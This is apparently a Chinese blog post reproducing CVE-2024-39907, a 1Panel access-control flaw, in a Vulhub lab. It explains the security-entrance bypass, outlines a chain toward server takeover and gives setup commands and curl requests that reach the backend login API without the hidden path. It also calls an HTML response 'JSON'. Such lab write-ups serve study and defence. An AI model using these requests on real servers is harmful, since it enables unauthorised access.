1panel-CVE-2024-39907

0x01 漏洞概述

1Panel 简介

1Panel 是一款开源的 Linux 服务器运维管理面板,主要用于对服务器进行可视化管理,包括网站部署、容器管理、数据库管理、证书管理、防火墙配置以及系统监控等功能。1Panel 基于 Web 架构运行,管理员可通过浏览器直接对服务器进行运维操作,在云服务器、企业内部服务器以及 DevOps 场景中被广泛使用。由于 1Panel 本身运行在服务器的高权限环境中(通常具备对系统、Docker、数据库和文件系统的完全控制权限),其 Web 管理接口一旦存在安全漏洞,攻击者即可通过网络远程控制服务器,风险等级极高。

CVE-2024-39907

CVE-2024-39907 是 1Panel 中存在的一处高危访问控制绕过漏洞(Security Entrance Bypass / Broken Access Control)源于 1Panel 的 “安全入口(Security Entrance)”机制设计缺陷。在 1Panel 中,安全入口用于隐藏后台管理路径,例如将后台地址从 / 改为一个随机路径(如 /a8F3kP2x),以降低被扫描和暴力破解的风险。然而,在受影响的版本中,这一安全入口仅作用于前端页面访问,并未在后端 API 层进行强制校验,导致后台 API 接口可以被直接访问。攻击者在未经过安全入口路径的情况下,仍然可以直接向后台 API 发送请求,服务器会正常解析并处理这些请求,而不会返回未授权错误(401/403),从而形成严重的权限边界绕过。

0x02 漏洞原理

1Panel 的安全入口与 API 访问模型

1Panel 作为一款 Web 运维管理系统,其整体架构由前端管理界面与后端 API 组成。管理员通过浏览器访问管理页面,前端再通过 HTTP 请求调用后端 /api/v1/* 接口来完成用户认证、系统配置、容器管理等操作。在启用“安全入口(Security Entrance)”后,1Panel 会将后台页面放置在一个隐藏路径下,例如:http://IP:10086/随机入口路径。设计目标是:只有通过该入口路径访问的用户,才允许调用后台 API 接口,从而实现一层访问控制。正常的安全模型应为:用户请求 → 安全入口校验 → API 路由 → 业务逻辑

访问控制绕过(Broken Access Control)简介

访问控制绕过是指系统在权限校验过程中存在缺陷,导致攻击者可以在未通过认证或授权的情况下直接访问受保护的功能或接口。本质是系统没有在所有关键路径上执行统一的权限校验。在 Web 架构中,这类问题通常出现在:只对前端页面做了限制但后端 API 接口未进行相同的访问控制

1Panel中的漏洞点

在存在 CVE-2024-39907 的 1Panel 版本中,安全入口仅对前端 Web 页面生效,而 后端 /api/v1/* 接口未校验安全入口状态。也就是说,攻击者可以绕过隐藏入口,直接向后台 API 发送请求。例如:

/api/v1/auth/login
/api/v1/system/info
/api/v1/users

后端会正常解析这些请求,并进入控制器与业务逻辑层,而不会返回 401 或 403 错误。当攻击者在未访问安全入口的情况下请求 /api/v1/auth/login 时,服务器返回的是 Login 模型的字段校验错误(如 Name、AuthMethod、Language 缺失),而不是未授权错误,说明请求已经进入了后台认证逻辑。

从入口绕过到后台控制的攻击链

在该漏洞条件下,攻击者可形成如下攻击路径:

  1. 未访问安全入口,直接向 /api/v1/* 接口发送请求
  2. 后端正常解析并处理请求,证明 API 层未受入口保护
  3. 通过信息接口获取系统版本、用户列表与配置数据
  4. 在部分场景下结合其他接口或弱口令等问题,进一步获取管理员权限
  5. 通过后台功能(容器、网站、计划任务等)执行系统命令或植入恶意代码

完整的攻击链:安全入口绕过 → 未授权访问后台 API → 获取后台信息或权限 → 服务器被接管

0x03 漏洞复现

1. 环境说明

角色 系统
攻击机 Kali Linux
靶机 Ubuntu 22.04
靶场 Vulhub 1Panel CVE-2024-39907
容器平台 Docker + Docker Compose

2. 安装docker部署vulhub

# 更新系统并安装依赖
sudo apt update
sudo apt -y upgrade
sudo apt install -y ca-certificates curl gnupg lsb-release git
# 添加 Docker 官方源
sudo mkdir -p /etc/apt/keyrings
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | \
sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg
echo "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.gpg] \
https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | \
sudo tee /etc/apt/sources.list.d/docker.list
# 安装 Docker 与 Compose
sudo apt update
sudo apt install -y docker-ce docker-ce-cli containerd.io docker-compose-plugin
# 启动并设置开机自启
sudo systemctl enable docker
sudo systemctl start docker
# 部署 Vulhub
cd ~
git clone https://github.com/vulhub/vulhub.git
cd vulhub

3. 拉取漏洞环境

# 进入1panel目录,确认目录内存在 docker-compose.yml
cd ~/vulhub/1panel/CVE-2024-39907
#启动 1Panel 靶场
docker compose up -d

4. 访问1panel

查看容器状态:docker ps
image
浏览器直接访问:http://IP地址:10086
image
暂无权限访问,当前环境已经开启了安全入口登录,说明靶场已经正确启动并进入真实生产级防护状态。
获取真实的 1Panel 登录入口:docker exec -it cve-2024-39907-1panel-1 bash
进入容器后执行:1pctl user-info
image
记录下 Entrance 路径,浏览器访问:http://IP地址/Entrance
image
输入账号密码后进入面板。
image

5. 未授权调用后台 API

在kali攻击机执行curl -i http://192.168.137.137:10086/api/v1/auth/login

┌──(root㉿kali)-[~]
└─# curl -i http://192.168.137.137:10086/api/v1/auth/login

HTTP/1.1 200 OK
Date: Thu, 15 Jan 2026 01:24:46 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked

<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8" />
        <meta name="robots" content="noindex,nofollow" />
        <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" />
        <title>loading...</title>
      <script type="module" crossorigin src="/assets/js/index-67705135.js"></script>
      <link rel="stylesheet" href="/assets/css/index-8d3c7549.css">
    </head>
    <body>
        <div id="app">
            <style>
                html,
                body,
                #app {
                    width: 100%;
                    height: 100%;
                    padding: 0;
                    margin: 0;
                }
                .first-loading-wrap {
                    display: flex;
                    flex-direction: column;
                    align-items: center;
                    justify-content: center;
                    width: 100%;
                    height: 100%;
                }
                .first-loading-wrap > h1 {
                    font-size: 128px;
                }
                .first-loading-wrap .loading-wrap {
                    display: flex;
                    align-items: center;
                    justify-content: center;
                    padding: 98px;
                }
                .dot {
                    position: relative;
                    box-sizing: border-box;
                    display: inline-block;
                    width: 32px;
                    height: 32px;
                    font-size: 32px;
                    transform: rotate(45deg);
                    animation: ant-rotate 1.2s infinite linear;
                }
                .dot i {
                    position: absolute;
                    display: block;
                    width: 14px;
                    height: 14px;
                    background-color: #1890ff;
                    border-radius: 100%;
                    opacity: 0.3;
                    transform: scale(0.75);
                    transform-origin: 50% 50%;
                    animation: ant-spin-move 1s infinite linear alternate;
                }
                .dot i:nth-child(1) {
                    top: 0;
                    left: 0;
                }
                .dot i:nth-child(2) {
                    top: 0;
                    right: 0;
                    animation-delay: 0.4s;
                }
                .dot i:nth-child(3) {
                    right: 0;
                    bottom: 0;
                    animation-delay: 0.8s;
                }
                .dot i:nth-child(4) {
                    bottom: 0;
                    left: 0;
                    animation-delay: 1.2s;
                }
                @keyframes ant-rotate {
                    to {
                        transform: rotate(405deg);
                    }
                }
                @keyframes ant-spin-move {
                    to {
                        opacity: 1;
                    }
                }
            </style>
            <div class="first-loading-wrap">
                <div class="loading-wrap">
                    <span class="dot dot-spin">
                        <i></i>
                        <i></i>
                        <i></i>
                        <i></i>
                    </span>
                </div>
            </div>
        </div>
    </body>
</html>

返回JSON,说明API可访问。

6. 未授权API访问验证

curl -X POST http://192.168.137.137:10086/api/v1/auth/login \ -H "Content-Type: application/json" \ -d '{"username":"1panel","password":"1panel_password"}'
image

# 返回信息
{
  "code":400,
  "message":"请求参数错误:
   Key: 'Login.Name' Error: Field validation for 'Name' failed on the 'required' tag
   Key: 'Login.AuthMethod' Error: Field validation for 'AuthMethod' failed on the 'required' tag
   Key: 'Login.Language' Error: Field validation for 'Language' failed on the 'required' tag",
  "data": null
}

400 报错是 Go 后端对 Login 结构体做 Validate 之后抛出的字段级错误。能够说明后端解析了 Login 模型,并逐字段校验缺失项。
该情况发生的过程为:安全入口校验未执行 → 请求进入了 Auth Controller → Bind(Login struct) → Validate(Login struct)
在 Vulhub 提供的 1Panel 1.10.10 环境中,攻击者无需访问安全入口路径,即可直接调用 /api/v1/auth/login 接口并触发后台 Login 模型校验,证明后台 API 层未受安全入口保护,从而验证 CVE-2024-39907 访问控制绕过漏洞。由于靶场仅开放认证接口用于漏洞验证,未暴露完整管理 API,因此未进一步演示后台接管。

posted @ 2026-01-15 12:18  77板烧鸡腿堡  阅读(4)  评论(0)    收藏  举报